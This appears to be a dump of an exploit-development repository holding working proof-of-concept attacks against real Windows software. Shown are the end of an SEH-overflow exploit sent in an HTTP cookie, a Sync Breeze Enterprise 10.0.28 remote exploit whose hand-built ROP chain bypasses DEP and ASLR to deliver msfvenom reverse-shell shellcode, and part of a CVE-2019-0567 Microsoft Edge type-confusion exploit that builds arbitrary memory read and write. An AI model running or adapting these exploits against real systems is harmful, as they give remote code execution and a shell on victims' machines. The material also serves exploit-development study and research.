241 | "\x01\xc1\x89\x4d\xf4\x8b\x53\x1c\x01\xc2\x89\x55\xf0\x8b\x53\x14"
242 | "\x89\x55\xec\xeb\x32\x31\xc0\x8b\x55\xec\x8b\x7d\xf8\x8b\x75\x18"
243 | "\x31\xc9\xfc\x8b\x3c\x87\x03\x7d\xfc\x66\x83\xc1\x08\xf3\xa6\x74"
244 | "\x05\x40\x39\xd0\x72\xe4\x8b\x4d\xf4\x8b\x55\xf0\x66\x8b\x04\x41"
245 | "\x8b\x04\x82\x03\x45\xfc\xc3\xba\x78\x78\x65\x63\xc1\xea\x08\x52"
246 | "\x68\x57\x69\x6e\x45\x89\x65\x18\xe8\xb8\xff\xff\xff\x31\xc9\x51"
247 | "\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe3\x41\x51\x53\xff"
248 | "\xd0\x31\xc9\xb9\x01\x65\x73\x73\xc1\xe9\x08\x51\x68\x50\x72\x6f"
249 | "\x63\x68\x45\x78\x69\x74\x89\x65\x18\xe8\x87\xff\xff\xff\x31\xd2"
250 | "\x52\xff\xd0")
251 | 
252 | # 4063 total offset to SEH
253 | crash += "\x41" * (4063-len(crash))
254 | 
255 | # SEH only- no nSEH because of DEP
256 | # Stack pivot to return to buffer
257 | crash += struct.pack('<L', 0x10022869)		# add esp, 0x1004 ; ret: ImageLoad.dll (non-ASLR enabled module)
258 | 
259 | # 5000 total bytes for crash
260 | crash += "\x41" * (5000-len(crash))
261 | 
262 | # Replicating HTTP request to interact with the server
263 | # UserID contains the vulnerability
264 | http_request = "GET /changeuser.ghp HTTP/1.1\r\n"
265 | http_request += "Host: 172.16.55.140\r\n"
266 | http_request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0\r\n"
267 | http_request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
268 | http_request += "Accept-Language: en-US,en;q=0.5\r\n"
269 | http_request += "Accept-Encoding: gzip, deflate\r\n"
270 | http_request += "Referer: http://172.16.55.140/\r\n"
271 | http_request += "Cookie: SESSIONID=9349; UserID=" + crash + "; PassWD=;\r\n"
272 | http_request += "Connection: Close\r\n"
273 | http_request += "Upgrade-Insecure-Requests: 1\r\n"
274 | 
275 | print "[+] Sending exploit..."
276 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
277 | s.connect(("172.16.55.130", 80))
278 | s.send(http_request)
279 | s.close()
280 | 


--------------------------------------------------------------------------------
/ASLR Bypass + ROP/README.md:
--------------------------------------------------------------------------------
 1 | DEP Bypass + ASLR Bypass
 2 | ---
 3 | 
 4 | Bypassing ASLR and DEP with ROP and leaked addresses.
 5 | 
 6 | Methods
 7 | -
 8 | 
 9 | 1. VirtualProtect()
10 | 2. WriteProcessMemory()
11 | 


--------------------------------------------------------------------------------
/ASLR Bypass + ROP/SBE_ASLR_and_DEP_Bypass.py:
--------------------------------------------------------------------------------
  1 | # Sync Breeze Enterprise 10.0.28 Remote Memory Corruption (DEP/ASLR bypass)
  2 | # kernel32!VirtualProtect
  3 | # Author: Connor McGarr (@33y0re)
  4 | # https://connormcgarr.github.io
  5 | # ROP'd this badboy by hand- sorry mona.
  6 | # In muts we trust.
  7 | 
  8 | import socket
  9 | import time
 10 | import sys
 11 | import struct
 12 | 
 13 | # msfvenom -p windows/shell_reverse_tcp LHOST=172.16.55.1 LPORT=443 -b "\x0\x0a\x0d\x25\x26\x2b\x3d" -f python -v shellcode
 14 | shellcode = ""
 15 | shellcode += "\xdb\xc9\xb8\x3e\xbf\x99\xa4\xd9\x74\x24\xf4"
 16 | shellcode += "\x5a\x33\xc9\xb1\x52\x83\xea\xfc\x31\x42\x13"
 17 | shellcode += "\x03\x7c\xac\x7b\x51\x7c\x3a\xf9\x9a\x7c\xbb"
 18 | shellcode += "\x9e\x13\x99\x8a\x9e\x40\xea\xbd\x2e\x02\xbe"
 19 | shellcode += "\x31\xc4\x46\x2a\xc1\xa8\x4e\x5d\x62\x06\xa9"
 20 | shellcode += "\x50\x73\x3b\x89\xf3\xf7\x46\xde\xd3\xc6\x88"
 21 | shellcode += "\x13\x12\x0e\xf4\xde\x46\xc7\x72\x4c\x76\x6c"
 22 | shellcode += "\xce\x4d\xfd\x3e\xde\xd5\xe2\xf7\xe1\xf4\xb5"
 23 | shellcode += "\x8c\xbb\xd6\x34\x40\xb0\x5e\x2e\x85\xfd\x29"
 24 | shellcode += "\xc5\x7d\x89\xab\x0f\x4c\x72\x07\x6e\x60\x81"
 25 | shellcode += "\x59\xb7\x47\x7a\x2c\xc1\xbb\x07\x37\x16\xc1"
 26 | shellcode += "\xd3\xb2\x8c\x61\x97\x65\x68\x93\x74\xf3\xfb"
 27 | shellcode += "\x9f\x31\x77\xa3\x83\xc4\x54\xd8\xb8\x4d\x5b"
 28 | shellcode += "\x0e\x49\x15\x78\x8a\x11\xcd\xe1\x8b\xff\xa0"
 29 | shellcode += "\x1e\xcb\x5f\x1c\xbb\x80\x72\x49\xb6\xcb\x1a"
 30 | shellcode += "\xbe\xfb\xf3\xda\xa8\x8c\x80\xe8\x77\x27\x0e"
 31 | shellcode += "\x41\xff\xe1\xc9\xa6\x2a\x55\x45\x59\xd5\xa6"
 32 | shellcode += "\x4c\x9e\x81\xf6\xe6\x37\xaa\x9c\xf6\xb8\x7f"
 33 | shellcode += "\x32\xa6\x16\xd0\xf3\x16\xd7\x80\x9b\x7c\xd8"
 34 | shellcode += "\xff\xbc\x7f\x32\x68\x56\x7a\xd5\x3b\xb7\xb3"
 35 | shellcode += "\x24\x2c\xba\xbb\x27\x17\x33\x5d\x4d\x77\x12"
 36 | shellcode += "\xf6\xfa\xee\x3f\x8c\x9b\xef\x95\xe9\x9c\x64"
 37 | shellcode += "\x1a\x0e\x52\x8d\x57\x1c\x03\x7d\x22\x7e\x82"
 38 | shellcode += "\x82\x98\x16\x48\x10\x47\xe6\x07\x09\xd0\xb1"
 39 | shellcode += "\x40\xff\x29\x57\x7d\xa6\x83\x45\x7c\x3e\xeb"
 40 | shellcode += "\xcd\x5b\x83\xf2\xcc\x2e\xbf\xd0\xde\xf6\x40"
 41 | shellcode += "\x5d\x8a\xa6\x16\x0b\x64\x01\xc1\xfd\xde\xdb"
 42 | shellcode += "\xbe\x57\xb6\x9a\x8c\x67\xc0\xa2\xd8\x11\x2c"
 43 | shellcode += "\x12\xb5\x67\x53\x9b\x51\x60\x2c\xc1\xc1\x8f"
 44 | shellcode += "\xe7\x41\xf1\xc5\xa5\xe0\x9a\x83\x3c\xb1\xc6"
 45 | shellcode += "\x33\xeb\xf6\xfe\xb7\x19\x87\x04\xa7\x68\x82"
 46 | shellcode += "\x41\x6f\x81\xfe\xda\x1a\xa5\xad\xdb\x0e"
 47 | 
 48 | crash = "\x41" * 780
 49 | crash += struct.pack('<L', 0x100b9c5c)                # ret: libspp.dll (non-ASLR based module)
 50 | 
 51 | # 4 byte pad to compensate for distance between EIP and ESP
 52 | crash += "\x42\x42\x42\x42"
 53 | 
 54 | # kernel32!VirtualProtect()
 55 | # EDI -> (ROP NOP)
 56 | # ESI -> VirtualProtect()
 57 | # EBP -> Return address (where to jump after execution)
 58 | # ESP -> lpAddress (Staring address for permissions change. Filled dynamically with current ESP value)
 59 | # EBX -> dwSize (~size of shellcode)
 60 | # EDX -> flNewProtect (desired memory page permissions...)
 61 | # ECX -> lpflOldProtect (inherits old permissions- any writeable address)
 62 | # EAX -> NOP
 63 | 
 64 | # 10168074  76d28f9a kernel32!GetDriveTypeAStub
 65 | # kernel32!VirtualProtect = kernel32!GetDriveTypeAStub - 0x36ec2
 66 | 
 67 | # Begin ROP chain. In muts we trust.
 68 | print "[+] Stack pivot done! Starting ROP chain. Wish us luck..."
 69 | 
 70 | # Return Address (shellcode is futher down the stack) into EBP
 71 | print "[+} Placing return address into EBP"
 72 | crash += struct.pack('<L', 0x10109b8e)				  # pop ebx ; ret: libspp.dll (non-ASLR based module) (Preparing COP gadget)
 73 | crash += struct.pack('<L', 0x10116ba2)				  # add esp, 0x04 ; ret: libspp.dll (non-ASLR based module) (Returning to the stack after COP gadget)
 74 | crash += struct.pack('<L', 0x101291b1)			      # pop edx ; sub al, 0x5B ; ret: libspp.dll (non-ASLR based module) (Return to stack will land right above the pushed EDX value from the COP gadget. Loading EDX with POP EBP pointer to load pushed ESP value into EBP)
 75 | crash += struct.pack('<L', 0x101090ba)				  # pop ebp ; ret: libspp.dll (non-ASLR based module) (Pops ESP into EBP via below gadget)
 76 | crash += struct.pack('<L', 0x10125c3c)				  # push esp ; xor edi, edi ; push edx ; call ebx: libspp.dll (non-ASLR based module)
 77 | crash += struct.pack('<L', 0x1012b413)				  # pop eax ; ret: libspp.dll (non-ASLR enabled module)
 78 | crash += struct.pack('<L', 0xfffffe2c)				  # Shellcode is about negative fffffe2c bytes down the stack
 79 | crash += struct.pack('<L', 0x10104df6)			      # neg eax ; ret: libspp.dll (non-ASLR enabled module)
 80 | crash += struct.pack('<L', 0x1014426e)				  # xchg eax, ebp ; ret: libspp.dll (non-ASLR based module) (Placing EBP temporarily into EAX for calculations because EBP directly couldn't be manipulated to equal the shellcode lcoation)
 81 | crash += struct.pack('<L', 0x100fcd71)				  # add eax, ebp ; dec ecx ; ret: libspp.dll (non-ASLR enabled module) (Intended EBP value is now in EAX)
 82 | crash += struct.pack('<L', 0x1014426e)				  # xchg eax, ebp ; ret: libspp.dll (non-ASLR based module) (Placing intended value from EAX into EBP where it belongs)
 83 | 
 84 | # dwSize into EBX
 85 | print "[+] Placing dwSize into EBX"
 86 | crash += struct.pack('<L', 0x1013aa81)				  # pop ebx ; ret: libspp.dll (non-ASLR enabled module) (Popping a pop EBX gadget into EBX so when COP gadget is done executing, it pops the pushed value of EAX from the below COP gadget into EBX. EAX currently still contains 0xc8, whiich is close to the shellcode size)
 87 | crash += struct.pack('<L', 0x101582b0)				  # pop eax ; pop ebx ; ret: libspp.dll (non-ASLR enabled module) (Popping pushed EAX value into EBX. Need to first pop the CALL's return address into EAX)
 88 | crash += struct.pack('<L', 0x1013403a)				  # push eax ; call ebx: libspp.dll (non-ASLR enabled module)
 89 | crash += struct.pack('<L', 0x1012b413)				  # pop eax ; ret: libspp.dll (non-ASLR enabled module)
 90 | crash += struct.pack('<L', 0xfffffec8)				  # 0x138 = 312 decimal (0xfffffec8 = negative 0x138 and 0x10C, the current value of ebx, + 0x138 = 0x30C, or 780 decimal)
 91 | crash += struct.pack('<L', 0x10104df6)			      # neg eax ; ret: libspp.dll (non-ASLR enabled module)
 92 | crash += struct.pack('<L', 0x100c9be1)				  # add ebx, eax ; mov eax, 0x00000001 ; ret: libspp.dll (non-ASLE enabled module)
 93 | 
 94 | # kernel32!VirtualProtect address into ESI
 95 | print "[+] Extracting kernel32!VirtualProtect from IAT entry"
 96 | crash += struct.pack('<L', 0x100b9c5c)                # ret: libspp.dll (non-ASLR based module) (ROP NOP)
 97 | crash += struct.pack('<L', 0x1012b413)				  # pop eax ; ret: libspp.dll (non-ASLR enabled module)
 98 | crash += struct.pack('<L', 0x1016806C)				  # ptr to kernel32!GetDriveTypeAStub - 8 (Gadget that extracts this pointer does so at an offset of 8, so compensating)
 99 | crash += struct.pack('<L', 0x1014dcdf)				  # mov eax, dword [eax+0x8] ; ret: libspp.dll (non-ASLR enabled module) (Extracting pointer into EAX)
100 | crash += struct.pack('<L', 0x101291b1)			      # pop edx ; sub al, 0x5B ; ret: libspp.dll (non-ASLR based module)
101 | crash += struct.pack('<L', 0xfffc9199)				  # kernel32!VirtualProtect is negative fffc9199 bytes away from kernel32!GetDriveTypeAStub
102 | crash += struct.pack('<L', 0x1003f9f9)				  # add eax, edx ; ret 0x004: libspp.dll (non-ASLR enabled module) (Storing kernel32!VirtualProtect in EAX)
103 | crash += struct.pack('<L', 0x1003f2d8)				  # push eax ; mov eax, 0x00000001 ; pop esi ; ret: libspp.dll (non-ASLR enabled module)
104 | crash += struct.pack('<L', 0x90909090)				  # Compensation for ret 0x004 in previous ROP gadget
105 | 
106 | # flNewProtect into EDX
107 | print "[+] Placing flNewProtect into EDX"
108 | crash += struct.pack('<L', 0x1013ac5c)				  # xor edx, edx ; ret: libspp.dll (non-ASLR enabled module)
109 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
110 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
111 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
112 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
113 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
114 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
115 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
116 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
117 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
118 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
119 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
120 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
121 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
122 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
123 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
124 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
125 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
126 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
127 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
128 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
129 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
130 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
131 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
132 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
133 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
134 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
135 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
136 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
137 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
138 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
139 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
140 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
141 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
142 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
143 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
144 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
145 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
146 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
147 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
148 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
149 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
150 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
151 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
152 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
153 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
154 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
155 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
156 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
157 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
158 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
159 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
160 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
161 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
162 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
163 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
164 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
165 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
166 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
167 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
168 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
169 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
170 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
171 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
172 | crash += struct.pack('<L', 0x100bb1f4)				  # inc edx ; ret: libspp.dll (non-ASLR enabled module)
173 | 
174 | # lpflOldProtect into ECX
175 | print "[+] Placing lpflOldProtect into ECX"
176 | crash += struct.pack('<L', 0x10165c79)				  # pop ecx ; ret: libspp.dll (non-ASLR enabled module)
177 | crash += struct.pack('<L', 0x1020c730)				  # Writeable address in .data section of libspp.dll
178 | 
179 | # ROP NOP into EDI
180 | crash += struct.pack('<L', 0x1012e6de)				  # pop edi ; ret: libspp.dll (non-ASLR enabled module)
181 | crash += struct.pack('<L', 0x100b9c5c)                # ret: libspp.dll (non-ASLR based module)
182 | 
183 | # NOPs into EAX
184 | crash += struct.pack('<L', 0x1012b413)				  # pop eax ; ret: libspp.dll (non-ASLR enabled module)
185 | crash += struct.pack('<L', 0x90909090)				  # NOPs
186 | 
187 | # PUSHAD
188 | print "[+] Pushing all kernel32!VirtualProtect parameters to the stack. Hold on to your horses!"
189 | crash += struct.pack('<L', 0x1014fb08)				  # pushad ; ret: libspp.dll (non-ASLR enabled module)
190 | 
191 | # NOP sled
192 | crash += "\x90" * 100
193 | 
194 | crash += shellcode
195 | 
196 | crash += "\x43" * (1500-len(crash))
197 | 
198 | fuzz="username="+crash+"&password=A"
199 | 
200 | buffer="POST /login HTTP/1.1\r\n"
201 | buffer+="Host: 172.16.55.128\r\n"
202 | buffer+="User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0\r\n"
203 | buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
204 | buffer+="Accept-Language: en-US,en;q=0.5\r\n"
205 | buffer+="Referer: http://172.16.55.128/login\r\n"
206 | buffer+="Connection: close\r\n"
207 | buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
208 | buffer+="Content-Length: "+str(len(fuzz))+"\r\n"
209 | buffer+="\r\n"
210 | buffer+=fuzz
211 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
212 | s.connect(("172.16.55.128", 80))
213 | s.send(buffer)
214 | 
215 | print "[+] Exploit sent! Check for a shell on port 443!"
216 | 
217 | s.close()
218 | 


--------------------------------------------------------------------------------
/Browser/CVE-2019-0567.js:
--------------------------------------------------------------------------------
  1 | // CVE-2019-0567: Microsoft Edge Type Confusion
  2 | // Author: Connor McGarr (@33y0re)
  3 | // Credits: https://bugs.chromium.org/p/project-zero/issues/detail?id=1702 && https://github.com/bkth/Attacking-Edge-Through-the-JavaScript-Compiler
  4 | // Also credits: https://perception-point.io/cve-2019-0539-remote-code-execution/ (Exploits are very similar)
  5 | 
  6 | // Large object used to corrupt metadata of DataView object
  7 | obj = {}
  8 | obj.a = 1;
  9 | obj.b = 2;
 10 | obj.c = 3;
 11 | obj.d = 4;
 12 | obj.e = 5;
 13 | obj.f = 6;
 14 | obj.g = 7;
 15 | obj.h = 8;
 16 | obj.i = 9;
 17 | obj.j = 10;
 18 | 
 19 | // DataView objects used for read/write primitive
 20 | dataview1 = new DataView(new ArrayBuffer(0x100));
 21 | dataview2 = new DataView(new ArrayBuffer(0x100));
 22 | 
 23 | // Function to convert to hex for memory addresses
 24 | function hex(x) {
 25 |     return `${x.toString(16)}`
 26 | }
 27 | 
 28 | // Arbitrary read function
 29 | function read64(lo, hi) {
 30 | 	dataview1.setUint32(0x38, lo, true); 		// DataView+0x38 is the buffer property
 31 | 	dataview1.setUint32(0x3C, hi, true);		// First set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)
 32 | 
 33 | 	// Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire array
 34 | 	// Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
 35 | 	var arrayRead = new Uint32Array(0x10);
 36 | 	arrayRead[0] = dataview2.getInt32(0, true); 	// 4-byte arbitrary read
 37 | 	arrayRead[1] = dataview2.getInt32(4, true);		// 4-byte arbitrary read
 38 | 
 39 | 	// Return the array
 40 | 	return arrayRead;
 41 | }
 42 | 
 43 | // Arbitrary write function
 44 | function write64(lo, hi, valLo, valHi) {
 45 | 	dataview1.setUint32(0x38, lo, true);
 46 | 	dataview1.setUint32(0x3C, hi, true);
 47 | 
 48 | 	// Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
 49 | 	dataview2.setInt32(0, valLo, true);
 50 | 	dataview2.setInt32(4, valHi, true);
 51 | }
 52 | 
 53 | function opt(o, proto, value) {
 54 |     o.b = 1;
 55 |     let tmp = {__proto__: proto};
 56 |     o.a = value;
 57 | }
 58 | 
 59 | function main() {
 60 | 	for (let i = 0; i < 2000; i++) {		// JIT optimize to remove type guardrails
 61 | 		let o = {a: 1, b: 2};
 62 | 		opt(o, {}, {});
 63 | 	}
 64 | 
 65 | 	// Print update
 66 | 	print("[+] Calling optimzed function 2000 times to trigger JIT!");
 67 | 
 68 | 	// Cause type transition to trigger type confusion vulnerability
 69 | 	let o = {a: 1, b: 2};
 70 | 
 71 | 	// Corrupt o.auxSlots with the address of our fake object obj
 72 | 	opt(o, o, obj);
 73 | 
 74 | 	// Set o.c, which corrupts our fake object's auxSlots
 75 | 	// obj.AuxSlots is now set to the first DataView object
 76 | 	o.c = dataview1;
 77 | 
 78 | 	// Corrupt the buffer property of dataview1 to point to our dataview2 object
 79 | 	obj.h = dataview2;
 80 | 
 81 | 	// Dynamic objects are as follows in memory: | vtable | type | etc.
 82 | 	// We can read the vtable for the dataview1 object, which is a pointer in Chakra, by retrieving DataView[0];
 83 | 	// Javascript is limited to 32-bits for values, so we have to retrieve the full 64-bit address in two steps
 84 | 	// These steps will get us the address of the vtable
 85 | 	vtableLo = dataview1.getUint32(0, true);
 86 | 	vtableHigh = dataview1.getUint32(4, 32);
 87 | 
 88 | 	// We are also going to store the address of the type as well
 89 | 	// We will use this to bypass CFG by performing some arbitrary reads to eventually leak a stack address
 90 | 	typeLo = dataview1.getUint32(8, true);
 91 | 	typeHigh = dataview1.getUint32(12, true);
 92 | 
 93 | 	// Store the base address of the image (chakracore.dll)
 94 | 	chakraBase = (vtableLo + vtableHigh * 0x100000000);
 95 | 	chakraBase -= 0x19604f8;
 96 | 
 97 | 	// Print updates
 98 | 	print("[+] DataView object 1 leaked vtable from ChakraCore.dll: " + "0x" + hex(vtableLo + vtableHigh * 0x100000000));
 99 | 	print("[+] ChakraCore.dll base: " + "0x" + hex(chakraBase));
100 | 
101 | 	// Let's read from the IAT to get a pointer to kernel32.dll (this is sufficient for our POC purposes)
102 | 	// We have to use the 32-bit "lo" version of Chakra because JavaScript
103 | 	kernel32pointerChakra = chakraBase + 0x17c0040;		// Pointer to KERNEL32!RaiseExceptionStub
104 | 
105 | 	// We know that the vtable pointer we leaked is from the same address space as the IAT entry for ChakraCore
106 | 	// We can reuse the vtableLo value, which is the upper mask for the base address of chakracore.dll, since they're both in the same address space
107 | 
108 | 	// "Mask off" everything but the lower 32-bits by setting a 64-bit value ona 32-bit array, so the rest of the 64-bits (e.g. the upper mask) is cut off
109 | 	var kernel32pointerLo = new Uint32Array(0x4);
110 | 	kernel32pointerLo[0] = kernel32pointerChakra;
111 | 
112 | 	// Perform the arbitrary read
113 | 	// Our value is getting tagged as an integer
114 | 	kernel32Pointer = read64(kernel32pointerLo[0], vtableHigh);
115 | 
116 | 	// Store the base address of kernel32 (just for printing purposes)
117 | 	// Our "real" kernel32.dll values are from kernel32Lo and kernel32High
118 | 	kernel32 = (kernel32Pointer[0] + kernel32Pointer[1] * 0x100000000);
119 | 	kernel32 -= 0x1fcb0;
120 | 
121 | 	// Also go ahead and store the "low" part of kernel32.dll (will need this later for arbitrary writes) and ChakraCore
122 | 	var kernel32loArray = new Uint32Array(0x4);
123 | 	kernel32pointerLo[0] = kernel32;
124 | 
125 | 	var chakrabaseloArray = new Uint32Array(0x4);
126 | 	chakrabaseloArray[0] = chakraBase;
127 | 
128 | 	// -----------------------------------------------------------------------------
129 | 
130 | 	// kernel32Lo now contains the "lower mask" of the base address of kernel32.dll
131 | 	kernel32Lo = kernel32pointerLo[0];
132 | 
133 | 	// kernel32High now contains the "upper mask" of the base address of kernel32.dll
134 | 	kernel32High = kernel32Pointer[1];
135 | 
136 | 	// chakraHigh now contains the "upper mask" of the base of chakrabase.dll (remember we leaked the vtable from chakracore earlier, so we can just re-use vtableHigh here)
137 | 	chakraHigh = vtableHigh;
138 | 
139 | 	// chakraLo now contains the "lower mask" of the base of chakrabase.dll
140 | 	chakraLo = chakrabaseloArray[0];
141 | 
142 | 	// -----------------------------------------------------------------------------
143 | 
144 | 	// Print updates
145 | 	print("[+] ChakraCore.dll pointer to kernel32.dll: " + "0x" + hex(kernel32Pointer[1]) + hex(kernel32Pointer[0]));
146 | 	print("[+] kernel32.dll base: " + "0x" + hex(kernel32));
147 | 
148 | 	// With the needed addresses in hand, we now need to redirect execution flow to gain code execution
149 | 	// We are dealing with Control Flow Guard as well (CFG)
150 | 	// CFG doesn't protect return addresses, so exploitation flow will be as follows:
151 | 	// 1. Leak the type (memory address) of our DataView object (just like we did for leaking the associated vtable pointer)
152 | 	// 2. There is a member of type called javascriptLibrary. Leak this
153 | 	// 3. javascriptLibrary has a member named scriptContext. Leak this.
154 | 	// 4. scriptContext has a member named threadContext. Leak this.
155 | 	// 5. threadContext has two stack addresses
156 | 
157 | 	// Print update
158 | 	print("[+] Leaked type from DataView object 1: 0x" + hex(typeLo + typeHigh * 0x100000000));
159 | 
160 | 	// Arbitrary read to get the javascriptLibrary pointer (offset of 0x8 from type)
161 | 	javascriptLibrary = read64(typeLo+8, typeHigh);
162 | 
163 | 	// Arbitrary read to get the scriptContext pointer (offset 0x450 from javascriptLibrary. Found this manually)
164 | 	scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1])
165 | 
166 | 	// Arbitrary read to get the threadContext pointer (offset 0x3b8)
167 | 	threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);
168 | 
169 | 	// Leak a pointer to a pointer on the stack from threadContext at offset 0xd0
170 | 	stackleakPointer = read64(threadContext[0]+0xd0, threadContext[1]);
171 | 
172 | 	// Extract the pointer to the stack
173 | 	stackLeak = read64(stackleakPointer[0], stackleakPointer[1]);
174 | 
175 | 	// Print update
176 | 	print("[+] type->javascriptLibrary->scriptContext->threadContext leaked stack address: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));
177 | 
